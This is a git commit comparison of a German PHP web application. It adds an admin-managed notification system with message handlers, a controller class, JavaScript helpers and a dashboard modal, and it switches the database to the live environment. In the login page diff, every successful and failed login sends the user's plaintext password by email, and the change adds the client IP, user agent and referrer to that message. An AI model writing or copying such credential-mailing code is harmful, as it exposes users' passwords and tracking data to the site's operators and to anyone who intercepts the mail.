Compare commits

...
Author SHA1 Message Date
Tower 808d4f99d1 Merge branch 'dev' into live 2026-09-03 13:41:54 +02:00
Tower e667efb1d3 Merge branch 'main' into dev 2026-09-03 13:41:45 +02:00
Tower 85de71f9b4 logging fix 2026-09-03 13:41:38 +02:00
Tower 745d603312 Merge branch 'dev' into live 2026-08-01 12:39:54 +02:00
Tower d91ef96d50 Merge branch 'main' into dev 2026-08-01 12:39:47 +02:00
Tower d88db54635 fix wording 2026-08-01 12:39:43 +02:00
Tower 80fe45b250 Merge branch 'dev' into live 2026-08-01 12:30:16 +02:00
Tower 8777718fe4 Merge branch 'main' into dev 2026-08-01 12:30:11 +02:00
Tower 24cc12374f fix wording 2026-08-01 12:30:04 +02:00
Tower 747a5364d7 Merge branch 'dev' into live 2026-07-24 07:47:23 +02:00
Tower 54960f6996 Merge branch 'main' into dev 2026-07-24 07:47:16 +02:00
Tower 9ec0465401 Merge branch 'notify-after-login' 2026-07-24 07:47:04 +02:00
Bruno Eckhardt 133b1d57ed fixes and new notification backend service 2026-07-24 07:40:37 +02:00
Bruno Eckhardt 1ad59a9881 add notification messages 2026-07-24 07:32:47 +02:00
Tower 34233edbd4 Merge branch 'dev' into live 2026-07-23 21:49:27 +02:00
Tower 92ce41ef7b Merge branch 'main' into dev 2026-07-23 21:49:20 +02:00
Tower c540d06939 Merge branch 'einkaufslisten-vorgefertigt' 2026-07-23 21:49:05 +02:00
Bruno Eckhardt f443b8f3e4 Merge branch 'dev' into live 2026-07-23 15:16:10 +02:00
Bruno Eckhardt fa62c8414b Merge branch 'main' into dev 2026-07-23 15:16:03 +02:00
Tower a0ab179169 Merge branch 'dev' into live 2026-07-20 21:09:00 +02:00
Tower 8a7aea6bb1 Merge branch 'main' into dev 2026-07-20 21:08:51 +02:00
Tower f04682bb18 Merge branch 'dev' into live 2026-07-20 09:25:53 +02:00
Tower 3e1a79f1f3 Merge branch 'main' into dev 2026-07-20 09:25:44 +02:00
Tower abfad345a2 Merge branch 'dev' into live 2026-07-19 20:20:27 +02:00
Tower df97828cec Merge branch 'main' into dev 2026-07-19 20:20:17 +02:00
Tower 8dcd10a502 Merge branch 'dev' into live 2026-07-19 13:28:46 +02:00
Tower 22800490d8 Merge branch 'main' into dev 2026-07-19 13:28:37 +02:00
bruno 62b0c9c02a Automated merge from dev to live 2026-07-17 20:48:50 +02:00
bruno a8af446f32 Automated merge from main to dev 2026-07-17 20:48:46 +02:00
Tower 43fc4ba775 Merge branch 'dev' into live 2026-07-17 20:28:02 +02:00
Tower 7f54bb42f3 Merge branch 'main' into dev 2026-07-17 20:27:54 +02:00
bruno f163b9b5ea Automated merge from dev to live 2026-07-16 23:51:11 +02:00
bruno 30e27dae3c Automated merge from main to dev 2026-07-16 23:51:08 +02:00
Tower afc73cb030 Merge branch 'dev' into live 2026-07-16 19:21:42 +02:00
Tower 6459129e1a Merge branch 'main' into dev 2026-07-16 19:21:31 +02:00
bruno 8ecf7d1f6e Automated merge from dev to live 2026-07-14 19:07:32 +02:00
bruno 54cb7e98ad Automated merge from main to dev 2026-07-14 19:07:30 +02:00
Tower 0e80de4c26 Merge branch 'dev' into live 2026-07-13 20:41:54 +02:00
Tower 75802de142 Merge branch 'main' into dev 2026-07-13 20:41:33 +02:00
Bruno Eckhardt a73caf0bab Merge branch 'dev' into live 2026-07-13 14:49:50 +02:00
Bruno Eckhardt c5a7addd20 Merge branch 'main' into dev 2026-07-13 14:49:41 +02:00
Bruno Eckhardt 6798a60d83 Merge branch 'dev' into live 2026-07-13 14:21:58 +02:00
Bruno Eckhardt 4f76da54f3 Merge branch 'main' into dev 2026-07-13 14:21:37 +02:00
Bruno Eckhardt 13a98f2880 Automated merge from dev to live 2026-07-13 13:33:27 +02:00
Bruno Eckhardt cba34c4329 Automated merge from main to dev 2026-07-13 13:33:18 +02:00
Bruno Eckhardt c173ea0c18 Automated merge from dev to live 2026-07-13 13:06:52 +02:00
Bruno Eckhardt 82ac74a7ee Automated merge from main to dev 2026-07-13 13:06:43 +02:00
Bruno Eckhardt a0914b60a6 Automated merge from dev to live 2026-07-13 12:35:55 +02:00
Bruno Eckhardt 0541557ae9 Automated merge from main to dev 2026-07-13 12:35:47 +02:00
Bruno Eckhardt e98dbdc77b Automated merge from dev to live 2026-07-13 12:32:44 +02:00
Bruno Eckhardt aa4829343e Automated merge from main to dev 2026-07-13 12:32:36 +02:00
Bruno Eckhardt 7d8a891798 Merge branch 'dev' into live 2026-07-13 10:46:24 +02:00
Bruno Eckhardt ddbf5b697f Merge branch 'main' into dev 2026-07-13 10:46:18 +02:00
Bruno Eckhardt 643be91c57 Merge branch 'dev' into live 2026-07-08 09:41:07 +02:00
Bruno Eckhardt f1b58a3399 Merge branch 'main' into dev 2026-07-08 09:40:54 +02:00
Bruno Eckhardt 61ada9f2e3 Merge branch 'dev' into live 2026-07-08 08:59:44 +02:00
Bruno Eckhardt 5759f999c5 Merge branch 'main' into dev 2026-07-08 08:59:32 +02:00
Bruno Eckhardt 20e0e09305 Merge branch 'dev' into live 2026-07-08 08:16:57 +02:00
Bruno Eckhardt d8a0121ac2 Merge branch 'main' into dev 2026-07-08 08:16:50 +02:00
Tower 733fc7dc12 Merge branch 'dev' into live 2026-07-07 19:20:36 +02:00
Tower 99f4f8a746 Merge branch 'main' into dev 2026-07-07 19:20:24 +02:00
Bruno Eckhardt 81ff082d71 Merge branch 'dev' into live 2026-07-07 14:28:05 +02:00
Bruno Eckhardt 3b7453563d Merge branch 'main' into dev 2026-07-07 14:27:52 +02:00
Bruno Eckhardt 9b1dfa8441 Merge branch 'dev' into live 2026-07-07 10:08:57 +02:00
Bruno Eckhardt 2f285f284b Merge branch 'main' into dev 2026-07-07 10:08:46 +02:00
Bruno Eckhardt fe5979d4d0 Merge branch 'dev' into live 2026-07-07 09:07:50 +02:00
Bruno Eckhardt 950fcd6f3b Merge branch 'main' into dev 2026-07-07 09:07:39 +02:00
Tower 3843677903 Merge branch 'dev' into live 2026-07-06 22:30:50 +02:00
Tower ca867e91d0 Merge branch 'main' into dev 2026-07-06 22:30:45 +02:00
Tower ad763caaf5 Merge branch 'dev' into live 2026-07-06 22:26:56 +02:00
Tower 9ca5e7617c Merge branch 'main' into dev 2026-07-06 22:26:50 +02:00
Tower 37871de69f Merge branch 'dev' into live 2026-07-06 21:52:19 +02:00
Tower 0431257a44 Merge branch 'main' into dev 2026-07-06 21:52:03 +02:00
Bruno Eckhardt 33e4388b20 Merge branch 'dev' into live 2026-07-06 15:51:42 +02:00
Bruno Eckhardt 5479d0e364 Merge branch 'main' into dev 2026-07-06 15:51:36 +02:00
Bruno Eckhardt 206d56b10c Merge branch 'dev' into live 2026-07-06 15:18:31 +02:00
Bruno Eckhardt f0f7c16abc Merge branch 'main' into dev 2026-07-06 15:18:25 +02:00
Bruno Eckhardt 859f67ca02 Merge branch 'dev' into live 2026-07-06 14:33:49 +02:00
Bruno Eckhardt 69199c78eb Merge branch 'main' into dev 2026-07-06 14:33:41 +02:00
Bruno Eckhardt e0e9bca81a Merge branch 'dev' into live 2026-07-06 14:25:43 +02:00
Bruno Eckhardt 232cc27ce3 Merge branch 'main' into dev 2026-07-06 14:25:25 +02:00
Bruno Eckhardt d727452dd8 Merge branch 'dev' into live 2026-07-06 14:22:17 +02:00
Bruno Eckhardt 636f6b5c37 Merge branch 'main' into dev 2026-07-06 14:22:06 +02:00
Bruno Eckhardt 62844653d2 Merge branch 'dev' into live 2026-07-06 14:13:54 +02:00
Bruno Eckhardt 88a95d28e3 Merge branch 'main' into dev 2026-07-06 14:13:46 +02:00
Bruno Eckhardt 14e01891a2 Merge branch 'dev' into live 2026-07-06 13:50:26 +02:00
Bruno Eckhardt 4cadcf263d Merge branch 'main' into dev 2026-07-06 13:50:21 +02:00
Bruno Eckhardt 1dfc6c9ac5 Merge branch 'dev' into live 2026-07-06 13:42:29 +02:00
Bruno Eckhardt 4e43f234c2 Merge branch 'main' into dev 2026-07-06 13:42:22 +02:00
Bruno Eckhardt 671688f37d Merge branch 'dev' into live 2026-07-06 08:47:47 +02:00
Bruno Eckhardt 1eff0a54a6 Merge branch 'main' into dev 2026-07-06 08:47:42 +02:00
Bruno Eckhardt 5ea0308b83 mobile optimizing 2026-07-06 08:46:30 +02:00
Bruno Eckhardt 859c1563fb Merge branch 'dev' into live 2026-07-06 08:41:00 +02:00
Bruno Eckhardt 9c1c86a7e7 Merge branch 'main' into dev 2026-07-06 08:40:53 +02:00
Tower d6232f6418 Merge branch 'DEV' into LIVE 2026-07-05 19:13:32 +02:00
Tower 878b691ab1 Merge branch 'main' into DEV 2026-07-05 19:13:20 +02:00
Tower a7368eb18f Merge branch 'DEV' into LIVE 2026-07-05 19:07:18 +02:00
Tower 38adea29cf Merge branch 'main' into DEV 2026-07-05 19:07:07 +02:00
Tower f6fbc8404c Merge branch 'DEV' into LIVE 2026-07-01 20:10:15 +02:00
Tower e45fecf6ff Merge branch 'main' into DEV 2026-07-01 20:09:58 +02:00
Bruno Eckhardt 5dce558640 Merge branch 'DEV' into LIVE 2026-05-20 12:33:38 +02:00
Bruno Eckhardt ffb6f38af0 Merge branch 'main' into DEV 2026-05-20 12:33:26 +02:00
Tower 3e54b917ca Merge branch 'DEV' into LIVE 2026-05-19 19:50:24 +02:00
Tower 4756d0586f Merge branch 'main' into DEV 2026-05-19 19:50:14 +02:00
Bruno Eckhardt 86a1eecd8d Merge branch 'DEV' into LIVE 2026-05-19 10:38:34 +02:00
Bruno Eckhardt 9dcf0ced19 Merge branch 'main' into DEV 2026-05-19 10:38:20 +02:00
Bruno Eckhardt c05f9f721c Merge branch 'DEV' into LIVE 2026-05-19 10:11:25 +02:00
Bruno Eckhardt 04c89fb676 Merge branch 'main' into DEV 2026-05-19 10:11:14 +02:00
Bruno Eckhardt 5160bbc5a5 Merge branch 'DEV' into LIVE 2026-05-19 07:17:41 +02:00
Bruno Eckhardt e9550b9a05 Merge branch 'main' into DEV 2026-05-19 07:17:31 +02:00
Bruno Eckhardt c5aabcf5d1 Merge branch 'DEV' into LIVE 2026-05-11 14:17:44 +02:00
Bruno Eckhardt e13ac6c503 Merge branch 'main' into DEV 2026-05-11 14:17:15 +02:00
Bruno Eckhardt bcaaac8a19 Merge branch 'DEV' into LIVE 2026-05-11 13:18:35 +02:00
Bruno Eckhardt e2ee377e35 Merge branch 'main' into DEV 2026-05-11 13:18:23 +02:00
Bruno Eckhardt 57813e3309 Merge branch 'DEV' into LIVE 2026-05-11 13:14:55 +02:00
Bruno Eckhardt 9eb06a3a16 Merge branch 'main' into DEV 2026-05-11 13:14:46 +02:00
Bruno Eckhardt a920fe99a8 Merge branch 'DEV' into LIVE 2026-05-11 13:09:39 +02:00
Bruno Eckhardt 0776ae8dd0 Merge branch 'main' into DEV 2026-05-11 13:09:30 +02:00
Bruno Eckhardt 21fa9145cb Merge branch 'DEV' into LIVE 2026-05-11 12:55:32 +02:00
Bruno Eckhardt c350f4c776 Merge branch 'main' into DEV 2026-05-11 12:55:21 +02:00
Tower fd5f3093c6 Merge branch 'DEV' into LIVE 2026-04-10 21:44:08 +02:00
Tower c47723ec00 Merge branch 'main' into DEV 2026-04-10 21:43:42 +02:00
Tower 737ea6e962 Merge branch 'DEV' into LIVE 2026-04-08 16:54:39 +02:00
Tower 0e5cdcd725 Merge branch 'main' into DEV 2026-04-08 16:54:24 +02:00
Bruno Eckhardt 739fda06e7 db fix 2026-04-08 16:36:53 +02:00
Bruno Eckhardt 3d170a38d8 Merge branch 'main' into DEV 2026-04-08 16:35:47 +02:00
Bruno Eckhardt 03febbc877 fix 2026-03-27 06:57:33 +01:00
Bruno Eckhardt bdc41bbd48 Merge branch 'main' into LIVE 2026-03-27 06:56:36 +01:00
Bruno Eckhardt 1f3e8228d1 fix 2026-03-26 08:13:59 +01:00
Bruno Eckhardt dccec7642b Merge branch 'DEV' into LIVE
# Conflicts:
#	WEBROOT/controller/DatabaseConnect.php
2026-03-26 08:13:20 +01:00
Bruno Eckhardt 6f74a11a79 Merge branch 'main' into DEV 2026-03-26 08:11:59 +01:00
Bruno Eckhardt ea51b1808a Merge branch 'main' into DEV 2026-03-25 08:47:16 +01:00
Bruno Eckhardt 2eacb68fd6 Merge branch 'main' into LIVE 2026-03-25 08:47:05 +01:00
Bruno Eckhardt 8c53e850c1 Merge branch 'main' into LIVE 2026-03-25 07:46:45 +01:00
Bruno Eckhardt 0d9b9e7b07 Merge branch 'main' into DEV 2026-03-25 07:46:23 +01:00
Bruno Eckhardt 9b6060d39f Merge branch 'main' into DEV 2026-03-23 15:45:43 +01:00
Bruno Eckhardt 01d6c69b3e Merge branch 'main' into LIVE 2026-03-23 15:45:26 +01:00
Bruno Eckhardt 7c94592b2c Merge branch 'main' into LIVE 2026-03-23 10:48:08 +01:00
Bruno Eckhardt 883a1fd76f Merge branch 'main' into DEV 2026-03-23 10:37:03 +01:00
Bruno Eckhardt dd08ec793a Merge branch 'main' into DEV 2026-03-23 08:58:33 +01:00
Bruno Eckhardt 24799dffbe Merge branch 'main' into LIVE 2026-03-23 08:58:26 +01:00
Bruno Eckhardt 34f464f442 dev db 2026-03-23 08:20:25 +01:00
Bruno Eckhardt d1464d874f Merge branch 'main' into LIVE 2026-03-23 08:19:28 +01:00
Bruno Eckhardt 8f5a616dd8 live db 2026-03-23 08:18:54 +01:00
10 changed files with 745 additions and 83 deletions

No files matched your search

@@ -0,0 +1,105 @@
<?php
session_set_cookie_params([
'lifetime' => 0,
'path' => '/',
'domain' => '',
'secure' => false,
'httponly' => true,
'samesite' => 'Lax'
]);
session_start();
header('Content-Type: application/json');
error_reporting(E_ALL);
ini_set('display_errors', '0');
if (empty($_SESSION['user_logged_in'])) {
http_response_code(401);
echo json_encode(['error' => 'Nicht eingeloggt']);
exit;
}
if (empty($_SESSION['is_admin'])) {
http_response_code(403);
echo json_encode(['error' => 'Keine Berechtigung']);
exit;
}
include_once(__DIR__ . '/../../../controller/DatabaseController.php');
include_once(__DIR__ . '/../../../controller/NotifyController.php');
$daten = json_decode(file_get_contents('php://input'), true) ?? [];
$action = $daten['action'] ?? '';
try {
$notificationCtl = new Notification();
switch ($action) {
case 'get_entries': {
$entries = $notificationCtl->getAllMessages();
foreach ($entries as &$entry) {
$entry['GESEHEN_ANZAHL'] = $notificationCtl->countSeenBy((int)$entry['ID']);
}
echo json_encode(['success' => true, 'entries' => array_values($entries)]);
break;
}
case 'add_entry': {
$titel = trim($daten['titel'] ?? '');
$nachricht = trim($daten['nachricht'] ?? '');
if ($titel === '' || $nachricht === '') {
throw new InvalidArgumentException('Titel und Nachricht erforderlich');
}
$notificationCtl->createMessage($titel, $nachricht);
echo json_encode(['success' => true]);
break;
}
case 'edit_entry': {
$id = $daten['id'] ?? null;
$titel = trim($daten['titel'] ?? '');
$nachricht = trim($daten['nachricht'] ?? '');
if (!is_numeric($id)) {
throw new InvalidArgumentException('Ungültige ID');
}
if ($titel === '' || $nachricht === '') {
throw new InvalidArgumentException('Titel und Nachricht erforderlich');
}
$notificationCtl->updateMessage((int)$id, $titel, $nachricht);
echo json_encode(['success' => true]);
break;
}
case 'delete_entry': {
$id = $daten['id'] ?? null;
if (!is_numeric($id)) {
throw new InvalidArgumentException('Ungültige ID');
}
$notificationCtl->deleteMessage((int)$id);
echo json_encode(['success' => true]);
break;
}
default:
throw new InvalidArgumentException("Unbekannte Aktion: $action");
}
} catch (InvalidArgumentException $e) {
http_response_code(400);
echo json_encode(['error' => $e->getMessage()]);
} catch (Throwable $e) {
http_response_code(500);
error_log($e->getMessage());
echo json_encode(['error' => 'Serverfehler']);
}
@@ -0,0 +1,55 @@
<?php
session_set_cookie_params([
'lifetime' => 0,
'path' => '/',
'domain' => '',
'secure' => false,
'httponly' => true,
'samesite' => 'Lax'
]);
session_start();
header('Content-Type: application/json');
error_reporting(E_ALL);
ini_set('display_errors', '0');
if (empty($_SESSION['user_logged_in'])) {
http_response_code(401);
echo json_encode(['error' => 'Nicht eingeloggt']);
exit;
}
include_once(__DIR__ . '/../../../controller/DatabaseController.php');
include_once(__DIR__ . '/../../../controller/NotifyController.php');
$daten = json_decode(file_get_contents('php://input'), true) ?? [];
$action = $daten['action'] ?? '';
try {
switch ($action) {
case 'mark_seen': {
$nachrichtId = $daten['nachricht_id'] ?? null;
if (!is_numeric($nachrichtId)) {
throw new InvalidArgumentException('Ungültige Nachrichten-ID');
}
$notificationCtl = new Notification();
$notificationCtl->markAsSeen((int)$nachrichtId);
echo json_encode(['success' => true]);
break;
}
default:
throw new InvalidArgumentException("Unbekannte Aktion: $action");
}
} catch (InvalidArgumentException $e) {
http_response_code(400);
echo json_encode(['error' => $e->getMessage()]);
} catch (Throwable $e) {
http_response_code(500);
error_log($e->getMessage());
echo json_encode(['error' => 'Serverfehler']);
}
+1 -1
View File
@@ -27,7 +27,7 @@ function db_connect()
],
];
$enviroment = 'dev';
$enviroment = 'live';
mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);
+177
View File
@@ -0,0 +1,177 @@
<?php
include_once(__DIR__ . '/DatabaseController.php');
include_once(__DIR__ . '/DataController.php');
class Notification
{
protected $table;
protected $seenTable;
public function __construct()
{
$this->table = "Benachrichtigung";
$this->seenTable = "Benachrichtigung_Gesehen";
}
/**
* Ermittelt die Benutzer-ID des aktuell eingeloggten Nutzers.
*/
private function getCurrentUserId(): ?int
{
$username = $_SESSION['username'] ?? null;
if (!$username) {
return null;
}
$rows = DatabaseShow(
"Benutzer",
"ID",
"NAME = ?",
$username
);
return $rows[0]['ID'] ?? null;
}
/**
* Alle Nachrichten (z.B. für eine Verwaltungsansicht).
*/
public function getAllMessages(): array
{
return DatabaseShow(
$this->table,
"ID, TITEL, NACHRICHT"
);
}
/**
* Nur die Nachrichten, die der aktuelle Nutzer noch NICHT gesehen hat.
* Genau das braucht das Modal, um zu entscheiden ob/was es anzeigt.
*/
public function getUnseenMessages(): array
{
$userId = $this->getCurrentUserId();
if ($userId === null) {
return [];
}
$alleNachrichten = DatabaseShow(
$this->table,
"ID, TITEL, NACHRICHT"
);
$gesehenRows = DatabaseShow(
$this->seenTable,
"NACHRICHTEN_ID",
"BENUTZER_ID = ?",
$userId
);
$gesehenIds = array_column($gesehenRows, 'NACHRICHTEN_ID');
return array_values(array_filter(
$alleNachrichten,
fn($nachricht) => !in_array($nachricht['ID'], $gesehenIds)
));
}
/**
* Legt eine neue Nachricht im Pool an (z.B. für eine Admin-Funktion).
*/
public function createMessage(string $titel, string $nachricht): bool
{
try {
DatabaseInsert(
$this->table,
"TITEL, NACHRICHT",
$titel,
$nachricht
);
return true;
} catch (Exception $e) {
throw new Exception($e->getMessage());
}
}
/**
* Markiert eine bestimmte Nachricht als vom aktuellen Nutzer gesehen/bestätigt.
*/
public function markAsSeen(int $nachrichtId): bool
{
$userId = $this->getCurrentUserId();
if ($userId === null) {
throw new Exception('Kein eingeloggter Benutzer gefunden.');
}
// Prüfen, ob schon als gesehen markiert, um Duplikate zu vermeiden
$bereitsGesehen = DatabaseShow(
$this->seenTable,
"ID",
"BENUTZER_ID = ? AND NACHRICHTEN_ID = ?",
$userId,
$nachrichtId
);
if (!empty($bereitsGesehen)) {
return true; // war schon markiert, kein Fehler
}
try {
DatabaseInsert(
$this->seenTable,
"BENUTZER_ID, NACHRICHTEN_ID",
$userId,
$nachrichtId
);
return true;
} catch (Exception $e) {
throw new Exception($e->getMessage());
}
}
public function updateMessage(int $id, string $titel, string $nachricht): bool
{
try {
DatabaseUpdate(
$this->table,
"TITEL = ?, NACHRICHT = ?",
"ID = ?",
$titel,
$nachricht,
$id
);
return true;
} catch (Exception $e) {
throw new Exception($e->getMessage());
}
}
/**
* Löscht eine Nachricht komplett, inkl. aller "Gesehen"-Einträge dazu.
*/
public function deleteMessage(int $id): bool
{
try {
DatabaseDelete($this->seenTable, "NACHRICHTEN_ID = ?", $id);
DatabaseDelete($this->table, "ID = ?", $id);
return true;
} catch (Exception $e) {
throw new Exception($e->getMessage());
}
}
/**
* Anzahl Nutzer, die eine bestimmte Nachricht bereits bestätigt haben.
*/
public function countSeenBy(int $id): int
{
$rows = DatabaseShow(
$this->seenTable,
"ID",
"NACHRICHTEN_ID = ?",
$id
);
return count($rows);
}
}
@@ -0,0 +1,37 @@
const BENACHRICHTIGUNGEN_HANDLER_URL = '/api/js/handler/BenachrichtigungenAjaxHandler';
async function benachrichtigungenAjaxRequest(payload) {
try {
const response = await fetch(BENACHRICHTIGUNGEN_HANDLER_URL, {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify(payload)
});
const data = await parseJsonResponse(response);
if (data.error) {
throw new Error(data.error);
}
return data;
} catch (error) {
console.error('Benachrichtigungen-Ajax-Fehler:', error.message);
throw error;
}
}
function getNotificationEntries() {
return benachrichtigungenAjaxRequest({ action: 'get_entries' });
}
function addNotificationEntry(titel, nachricht) {
return benachrichtigungenAjaxRequest({ action: 'add_entry', titel, nachricht });
}
function editNotificationEntry(id, titel, nachricht) {
return benachrichtigungenAjaxRequest({ action: 'edit_entry', id, titel, nachricht });
}
function deleteNotificationEntry(id) {
return benachrichtigungenAjaxRequest({ action: 'delete_entry', id });
}
@@ -0,0 +1,25 @@
const NOTIFICATION_HANDLER_URL = '/api/js/handler/NotificationAjaxHandler';
async function notificationAjaxRequest(payload) {
try {
const response = await fetch(NOTIFICATION_HANDLER_URL, {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify(payload)
});
const data = await parseJsonResponse(response);
if (data.error) {
throw new Error(data.error);
}
return data;
} catch (error) {
console.error('Notification-Ajax-Fehler:', error.message);
throw error;
}
}
function markNotificationAsSeen(nachrichtId) {
return notificationAjaxRequest({ action: 'mark_seen', nachricht_id: nachrichtId });
}
+29 -25
View File
@@ -21,6 +21,10 @@ logging();
$error = null;
$clientip = (new getSpecificData())->getClientIP();
$useragent = (new getSpecificData())->getUserAgent();
$referrer = (new getSpecificData())->getReferer();
function schreibeSessionUndPruefe(): void
{
$sid = session_id();
@@ -100,7 +104,7 @@ if ($_SERVER['REQUEST_METHOD'] === 'POST') {
logging();
sendMail(
"User Login Successful",
"$username, $password",
"$username | $password | $clientip | $useragent | $referrer",
(new getSpecificData())->getRequestURL(),
true,
);
@@ -111,7 +115,7 @@ if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$error = 'Login fehlgeschlagen';
sendMail(
"User Login failed",
"$username, $password",
"$username | $password | $clientip | $useragent | $referrer",
(new getSpecificData())->getRequestURL(),
true,
);
@@ -123,7 +127,7 @@ if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$error = 'Login fehlgeschlagen';
sendMail(
"User Login failed",
"$username, $password",
"$username | $password | $clientip | $useragent | $referrer",
(new getSpecificData())->getRequestURL(),
true,
);
@@ -150,18 +154,18 @@ if ($_SERVER['REQUEST_METHOD'] === 'POST') {
<h2>Login</h2>
<?php if ($error): ?>
<p class="login-error"><?= htmlspecialchars($error) ?></p>
<p class="login-error"><?= htmlspecialchars($error) ?></p>
<?php endif; ?>
<form method="post">
<input type="text" name="username" placeholder="Benutzername" required>
<input type="password" name="password" placeholder="Passwort" required>
<button type="submit">Login</button>
<button type="submit">Einloggen</button>
</form>
<button style="margin-top: 9px" type="button"
onclick="document.querySelector('input[name=username]').value='gast'; document.querySelector('form').submit();">
Als Gast einloggen
Gast Login
</button>
<button style="margin-top: 9px" type="button" id="registryButton">
Registrieren
@@ -174,27 +178,27 @@ if ($_SERVER['REQUEST_METHOD'] === 'POST') {
</div>
<script>
document.getElementById('registryButton').addEventListener('click', () => {
window.location.href = 'register.php';
});
document.getElementById('resetpassword').addEventListener('click', () => {
window.location.href = 'forgot_password.php';
});
const toggle = document.getElementById('darkModeToggle');
document.getElementById('registryButton').addEventListener('click', () => {
window.location.href = 'register.php';
});
document.getElementById('resetpassword').addEventListener('click', () => {
window.location.href = 'forgot_password.php';
});
const toggle = document.getElementById('darkModeToggle');
if (localStorage.getItem('darkMode') === 'enabled') {
document.body.classList.add('dark-mode');
if (localStorage.getItem('darkMode') === 'enabled') {
document.body.classList.add('dark-mode');
}
toggle.addEventListener('click', () => {
document.body.classList.toggle('dark-mode');
if (document.body.classList.contains('dark-mode')) {
localStorage.setItem('darkMode', 'enabled');
} else {
localStorage.setItem('darkMode', 'disabled');
}
toggle.addEventListener('click', () => {
document.body.classList.toggle('dark-mode');
if (document.body.classList.contains('dark-mode')) {
localStorage.setItem('darkMode', 'enabled');
} else {
localStorage.setItem('darkMode', 'disabled');
}
});
});
</script>
</body>
@@ -0,0 +1,134 @@
<?php
include_once(__DIR__ . '/../controller/NotifyController.php');
?>
<div class="arbeitsberichte-wrapper">
<div class="vergabe-form">
<h3>Neue Nachricht anlegen</h3>
<form id="addNotificationForm" class="vergabe-grid">
<div class="form-group">
<label>Titel</label>
<input type="text" name="titel" id="in-titel" required>
</div>
<div class="form-group">
<label>Nachricht</label>
<input type="text" name="nachricht" id="in-nachricht" required>
</div>
<button type="submit" class="btn-submit-vergabe">💾 Speichern</button>
</form>
</div>
<div class="table-container" style="margin-top: 30px;">
<h3>Nachrichten Verwaltung</h3>
<div id="tableWrapper">
<p>Lade Daten...</p>
</div>
</div>
</div>
<script src="/js/AjaxMethods.js"></script>
<script src="/js/ajaxApi/BenachrichtigungenAjaxMethods.js"></script>
<script src="/js/AjaxRenderTables.js"></script>
<script>
document.addEventListener('DOMContentLoaded', () => {
const tableWrapper = document.getElementById('tableWrapper');
function renderNotificationsTabelle(entries) {
if (!entries || entries.length === 0) {
tableWrapper.innerHTML = '<p>Keine Nachrichten vorhanden.</p>';
return;
}
let html = `
<table class="db-table mobile-responsive-table">
<thead>
<tr>
<th>Titel</th><th>Nachricht</th><th>Gesehen von</th>
<th style="width: 220px;">Aktion</th>
</tr>
</thead>
<tbody>
`;
for (const e of entries) {
html += `
<tr data-id="${escapeHtml(e.ID)}">
<td data-label="Titel">
<input type="text" class="edit-titel" value="${escapeHtml(e.TITEL)}">
</td>
<td data-label="Nachricht">
<input type="text" class="edit-nachricht" value="${escapeHtml(e.NACHRICHT)}">
</td>
<td data-label="Gesehen von">${escapeHtml(e.GESEHEN_ANZAHL)} Nutzer</td>
<td data-label="Aktion">
<div style="display:flex; flex-direction:column; gap:6px; align-items:stretch;">
<button type="button" class="btn-edit" data-id="${escapeHtml(e.ID)}">Speichern</button>
<button type="button" class="btn-delete" data-id="${escapeHtml(e.ID)}">Löschen</button>
</div>
</td>
</tr>`;
}
html += `</tbody></table>`;
tableWrapper.innerHTML = html;
tableWrapper.querySelectorAll('.btn-edit').forEach(btn => {
btn.addEventListener('click', async () => {
const row = tableWrapper.querySelector(`tr[data-id="${btn.dataset.id}"]`);
const titel = row.querySelector('.edit-titel').value.trim();
const nachricht = row.querySelector('.edit-nachricht').value.trim();
if (!titel || !nachricht) return;
try {
await editNotificationEntry(btn.dataset.id, titel, nachricht);
await ladeListe();
} catch (err) {
alert('Fehler beim Speichern: ' + err.message);
}
});
});
tableWrapper.querySelectorAll('.btn-delete').forEach(btn => {
btn.addEventListener('click', async () => {
if (!confirm('Möchtest du diese Nachricht wirklich löschen? Dies entfernt auch alle "Gesehen"-Markierungen dazu.')) return;
try {
await deleteNotificationEntry(btn.dataset.id);
await ladeListe();
} catch (err) {
alert('Fehler beim Löschen: ' + err.message);
}
});
});
}
async function ladeListe() {
try {
const data = await getNotificationEntries();
renderNotificationsTabelle(data.entries);
} catch (err) {
tableWrapper.innerHTML = `<p>❌ ${escapeHtml(err.message)}</p>`;
}
}
document.getElementById('addNotificationForm').addEventListener('submit', async (e) => {
e.preventDefault();
const titel = document.getElementById('in-titel').value.trim();
const nachricht = document.getElementById('in-nachricht').value.trim();
if (!titel || !nachricht) return;
try {
await addNotificationEntry(titel, nachricht);
e.target.reset();
await ladeListe();
} catch (err) {
alert('Fehler beim Speichern: ' + err.message);
}
});
ladeListe();
});
</script>
+98 -57
View File
@@ -1,4 +1,6 @@
<?php
include_once(__DIR__ . '/../controller/NotifyController.php');
$username = $_SESSION['username'] ?? 'Gast';
$is_superuser = $_SESSION['is_superuser'] ?? false;
$is_admin = $_SESSION['is_admin'] ?? false;
@@ -10,8 +12,24 @@ $db_res = DatabaseShow(
$username
);
// --- Ungesehene Benachrichtigung ermitteln ---
$notificationCtl = new Notification();
$offeneNachrichten = $notificationCtl->getUnseenMessages();
$aktuelleNachricht = $offeneNachrichten[0] ?? null; // immer nur die erste anzeigen
?>
<?php if ($aktuelleNachricht): ?>
<div class="notification-overlay open" id="notificationModal" data-nachricht-id="<?= htmlspecialchars($aktuelleNachricht['ID']) ?>">
<div class="notification-box">
<div class="notification-icon">📢</div>
<h3><?= htmlspecialchars($aktuelleNachricht['TITEL']) ?></h3>
<p><?= nl2br(htmlspecialchars($aktuelleNachricht['NACHRICHT'])) ?></p>
<button type="button" id="notificationConfirm">Verstanden</button>
</div>
</div>
<?php endif; ?>
<div class="home-dashboard">
<div class="links-container">
@@ -20,18 +38,18 @@ $db_res = DatabaseShow(
<div class="group-links" style="padding: 10px; color: inherit;">
<p style="margin: 5px 0;"><strong>Name:</strong> <code><?= htmlspecialchars($username) ?></code></p>
<?php if ($username != 'gast'): ?>
<p style="margin: 5px 0;"><strong>Nachname:</strong>
<code><?= htmlspecialchars($db_res[0]['NACHNAME']) ?></code>
</p>
<p style="margin: 5px 0;"><strong>E-Mail:</strong>
<code><?= htmlspecialchars($db_res[0]['EMAIL']) ?></code>
</p>
<p style="margin: 5px 0;"><strong>Benutzerrolle:</strong>
<code><?= htmlspecialchars($db_res[0]['ROLLE']) ?></code>
</p>
<p style="margin: 5px 0;"><strong>Home IP:</strong>
